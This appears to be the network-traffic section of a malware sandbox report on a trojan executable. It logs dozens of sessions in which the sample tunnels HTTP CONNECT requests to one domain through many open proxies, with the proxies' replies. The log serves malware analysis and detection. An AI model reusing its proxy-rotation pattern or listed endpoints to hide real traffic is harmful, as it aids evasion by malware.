Feb 23, 2024 14:28:26.907651901 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
707	192.168.2.8	52335	20.206.106.192	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:26.908332109 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:27.123410940 CET	319	IN	HTTP/1.1 403 Forbidden Server: squid Mime-Version: 1.0 Date: Fri, 23 Feb 2024 13:28:27 GMT Content-Type: text/html;charset=utf-8 Content-Length: 17 X-Squid-Error: ERR_ACCESS_DENIED 0 X-Cache: MISS from cdn-fintech.info X-Cache-Lookup: NONE from cdn-fintech.info:8123 Connection: keep-alive Data Raw: 45 52 52 5f 41 43 43 45 53 53 5f 44 45 4e 49 45 44 Data Ascii: ERR_ACCESS_DENIED

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
708	192.168.2.8	51834	72.210.252.137	4145	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:26.919332027 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
709	192.168.2.8	52293	20.219.183.188	3129	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:26.919341087 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:27.253648043 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
710	192.168.2.8	52246	103.216.49.151	8080	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:26.957285881 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:27.306919098 CET	340	IN	HTTP/1.1 400 Bad Request Server: nginx/1.12.2 Date: Fri, 23 Feb 2024 13:28:26 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 173 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 32 2e 32 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.12.2</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
711	192.168.2.8	52254	103.23.100.1	4145	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:26.957285881 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
712	192.168.2.8	52207	194.233.78.142	47152	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:26.957659960 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
713	192.168.2.8	52358	109.238.12.156	46962	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:26.957787991 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:27.392967939 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:27.876224995 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:28.847747087 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:30.781635046 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:32.695029020 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:34.695071936 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:38.492172003 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
714	192.168.2.8	52271	43.133.80.236	15673	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:26.958627939 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
715	192.168.2.8	52330	110.12.211.140	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:26.959604979 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
716	192.168.2.8	50950	91.134.140.160	57320	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:26.960164070 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:29.991853952 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:32.992201090 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:38.991969109 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
717	192.168.2.8	52284	103.57.211.92	3128	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:26.963854074 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:27.491533041 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
718	192.168.2.8	51011	41.128.89.86	1976	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:27.000971079 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:29.991853952 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:33.085747004 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:39.141154051 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:51.147905111 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:29:03.147849083 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:29:15.240746021 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
719	192.168.2.8	52304	196.0.111.186	46048	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:27.022056103 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
720	192.168.2.8	51863	201.46.29.115	5678	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:27.022222996 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
721	192.168.2.8	52265	103.127.1.130	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:27.028300047 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
722	192.168.2.8	50984	176.197.103.58	4145	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:27.035114050 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
723	192.168.2.8	50963	201.238.248.139	9229	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:27.035414934 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:30.194966078 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:33.288908958 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:39.382577896 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
724	192.168.2.8	52326	123.126.158.50	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:27.037157059 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
725	192.168.2.8	52355	58.234.116.197	8197	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:27.042254925 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
726	192.168.2.8	52264	118.91.175.146	5678	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:27.042256117 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
727	192.168.2.8	52352	47.74.152.29	8888	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:27.106266022 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
728	192.168.2.8	52354	102.132.57.90	8080	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:27.106720924 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
729	192.168.2.8	52353	125.19.99.90	4145	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:27.110440016 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
730	192.168.2.8	50990	117.4.242.216	5678	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:27.123732090 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
731	192.168.2.8	52363	20.44.189.184	3129	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:27.123853922 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:27.385456085 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
732	192.168.2.8	51761	72.195.34.58	4145	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:27.123881102 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
733	192.168.2.8	51937	162.253.68.97	4145	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:27.124268055 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
734	192.168.2.8	51922	112.30.155.83	12792	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:27.124269009 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:28.148437023 CET	39	IN	HTTP/1.1 200 Connection established
Feb 23, 2024 14:28:30.445949078 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
735	192.168.2.8	51894	164.90.184.248	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:27.124541998 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:30.139769077 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:33.195039988 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:39.255172968 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
736	192.168.2.8	50982	43.255.113.232	84	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:27.126674891 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:27.495706081 CET	208	IN	HTTP/1.0 404 Not Found Server: HCS Date: Fri, 23 Feb 2024 16:16:17 GMT Content-Type: text/html Content-Length: 432 HCS-Error: ERR_FTP_NOT_FOUND 0 X-NGAA: MISS from CH-XW-NO1-315.4 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
737	192.168.2.8	52361	171.248.213.121	1080	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:27.151932955 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
738	192.168.2.8	52368	115.74.159.39	1080	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:27.156549931 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
739	192.168.2.8	51909	31.217.221.74	8192	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:27.188472033 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
740	192.168.2.8	52379	170.106.193.128	30001	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:27.188908100 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
741	192.168.2.8	51123	186.203.163.53	5678	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:27.202877045 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
742	192.168.2.8	52387	104.20.24.214	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:27.203638077 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:27.291273117 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 13:28:27 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
743	192.168.2.8	52396	172.65.165.93	30000	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:27.226149082 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
744	192.168.2.8	52374	210.211.113.36	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:27.245342016 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
745	192.168.2.8	52381	185.49.31.207	8081	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:27.260652065 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
746	192.168.2.8	52369	113.204.4.142	10800	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:27.277812004 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
747	192.168.2.8	52394	72.210.252.137	4145	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:27.311167002 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
748	192.168.2.8	51867	23.92.223.122	3128	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:27.325846910 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
749	192.168.2.8	52212	192.111.139.163	19404	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:27.349967957 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
750	192.168.2.8	52438	185.162.231.226	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:27.350441933 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
